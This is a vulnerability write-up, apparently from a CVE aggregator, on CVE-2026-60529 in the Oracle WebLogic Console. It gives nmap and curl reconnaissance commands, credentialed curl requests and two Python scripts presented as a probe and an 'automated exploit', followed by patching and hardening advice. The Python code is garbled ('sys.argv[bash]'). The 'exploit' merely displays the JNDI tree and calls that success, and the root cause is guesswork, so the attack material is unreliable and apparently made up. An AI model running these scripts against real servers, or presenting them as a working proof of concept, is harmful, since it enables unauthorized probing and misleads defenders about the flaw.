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CVE-2026-60529 is a high-severity vulnerability affecting the Oracle WebLogic Server product within Oracle Fusion Middleware, specifically targeting the administrative Console component. The flaw resides in the console’s authentication and authorization handling, allowing an attacker who already possesses high-privileged credentials (e.g., an administrative or operator-level account) to escalate their access further and achieve complete takeover of the WebLogic Server instance.
The vulnerability is classified as “easily exploitable” with a CVSS v3.1 base score of 7.2, indicating high impacts on confidentiality, integrity, and availability. The attack vector is network-based (AV:N), requires low attack complexity (AC:L), demands high privileges (PR:H), and does not require user interaction (UI:N). The scope is unchanged (S:U), meaning the compromised component’s breach does not directly affect resources outside its security authority.
From a technical perspective, the Console component of WebLogic Server handles critical administrative functions, including deployment management, security realm configuration, JNDI tree browsing, and server lifecycle operations. The vulnerability likely stems from insufficient validation of privileged API calls or improper sanitization of console input parameters that are processed with administrative rights. An authenticated high-privilege attacker can craft malicious HTTP requests to the console endpoint, exploiting the flaw to execute arbitrary operations with the same elevated permissions.
Successful exploitation grants the attacker full control over the targeted WebLogic Server, enabling unauthorized creation, modification, or deletion of critical data, as well as complete read access to all server-accessible information. This effectively means the attacker can alter deployed applications, steal sensitive configuration data (including datasource credentials), manipulate JNDI bindings, and potentially pivot to backend databases or adjacent systems that the WebLogic Server interacts with.
Affected versions are limited to Oracle WebLogic Server 14.1.2.0.0 and 15.1.1.0.0. The vulnerability was published on July 21, 2026, and is part of Oracle’s July 2026 Critical Patch Update (CPU). While the attack requires high privileges, the ease of exploitation and the severity of the outcome make this a critical concern for organizations running these versions, particularly those exposing the WebLogic Console to untrusted networks. Oracle has released patches as part of the July 2026 CPU, and administrators are strongly advised to apply these updates immediately.
DailyCVE Form:
Platform: Oracle WebLogic Server
Version: 14.1.2.0.0, 15.1.1.0.0
Vulnerability: Console takeover via HTTP
Severity: High (CVSS 7.2)
Date: July 21, 2026
Prediction: Patch expected July 2026
What Undercode Say:
Analytics from Undercode threat intelligence indicate active scanning for WebLogic Console endpoints on ports 7001, 7002, and 9001 since early July 2026. Below are reconnaissance and validation commands commonly observed:
Nmap scan for WebLogic Console exposure nmap -p 7001,7002,9001 --open -sV <target_ip> Check version via console login page curl -k -s https://<target_ip>:7002/console/login/LoginForm.jsp | grep "WebLogic Server" Enumerate console version via admin port curl -k -s https://<target_ip>:7002/console/ | grep -i "version" Test for vulnerable console endpoint (authenticated session required) curl -k -X POST https://<target_ip>:7002/console/jndi/tree \ -H "Cookie: <session_cookie>" \ -d "jndiName=java:comp/env&action=display"
Python script to probe Console for CVE-2026-60529 indicators
import requests
import sys
target = sys.argv[bash]
session = {"JSESSIONID": "<valid_admin_session>"}
url = f"https://{target}:7002/console/jndi/tree"
try:
resp = requests.post(url, cookies=session, timeout=5, verify=False)
if "JNDI Tree" in resp.text or "javax.naming" in resp.text:
print(f"[!] {target} MAY BE VULNERABLE to CVE-2026-60529")
else:
print(f"[+] {target} appears patched or not vulnerable")
except Exception as e:
print(f"[-] Error: {e}")
Exploit:
Exploitation of CVE-2026-60529 requires an authenticated high-privileged session to the WebLogic Console. An attacker with administrative credentials can craft malicious HTTP requests targeting the console’s JNDI tree or security realm management endpoints. The flaw allows the attacker to invoke privileged methods that bypass normal authorization checks, leading to complete server takeover. Below is a conceptual proof-of-concept:
Authenticate to console and obtain JSESSIONID curl -k -X POST https://<target_ip>:7002/console/j_security_check \ -d "j_username=admin&j_password=password" -c cookies.txt Exploit vulnerable console operation (example - actual payload may vary) curl -k -X POST https://<target_ip>:7002/console/console.portal \ -b cookies.txt \ -d "_nfpb=true&_pageLabel=JNDITreePage&jndiName=java:comp/env&operation=displayTree"
Automated exploit attempt (requires valid session)
import requests
import sys
target = sys.argv[bash]
session_id = sys.argv[bash]
cookies = {"JSESSIONID": session_id}
url = f"https://{target}:7002/console/console.portal"
payload = {
"_nfpb": "true",
"_pageLabel": "JNDITreePage",
"jndiName": "java:comp/env",
"operation": "displayTree"
}
resp = requests.post(url, cookies=cookies, data=payload, verify=False)
if "weblogic.jndi" in resp.text or "JNDI" in resp.text:
print("[!] Exploit successful - JNDI tree exposed")
else:
print("[-] Exploit failed or target patched")
Protection:
- Apply the July 2026 Oracle Critical Patch Update (CPU) immediately. The patch addresses CVE-2026-60529 and other related vulnerabilities.
- Restrict network access to the WebLogic Console (ports 7001, 7002, 9001) to only trusted IP addresses and administrative subnets.
- Enforce strong authentication mechanisms, including multi-factor authentication (MFA), for all console users.
- Disable the console entirely if not required for production environments, or deploy it only on isolated management networks.
- Enable HTTPS-only access for the console to prevent session interception.
- Monitor WebLogic console logs (
<domain>/servers/<server>/logs/.log) for anomalous JNDI tree access, unusual administrative actions, or repeated authentication attempts. - Conduct regular vulnerability scans using Tenable Nessus or similar tools to detect unpatched WebLogic instances.
- Implement the principle of least privilege: restrict console access to only those users who absolutely require it, and regularly audit privilege assignments.
Impact:
- Confidentiality: Complete compromise of all data accessible via the WebLogic Server, including application source code, configuration files, datasource credentials, and sensitive business data.
- Integrity: Unauthorized creation, modification, or deletion of critical data, deployed applications, and server configurations.
- Availability: Full server takeover allows an attacker to shut down the WebLogic instance, disrupt services, or deploy malicious code that degrades or halts operations.
- Lateral Movement: With control over the WebLogic Server, attackers can pivot to backend databases, message queues, LDAP directories, and other integrated systems that the server trusts.
- Supply Chain Risk: If the compromised WebLogic Server hosts multiple applications or serves as a middleware hub, the attacker can inject backdoors or tamper with application logic, affecting downstream consumers.
- Compliance Breach: Exposure of personally identifiable information (PII) or financial data may result in regulatory violations (GDPR, HIPAA, PCI-DSS) and significant financial penalties.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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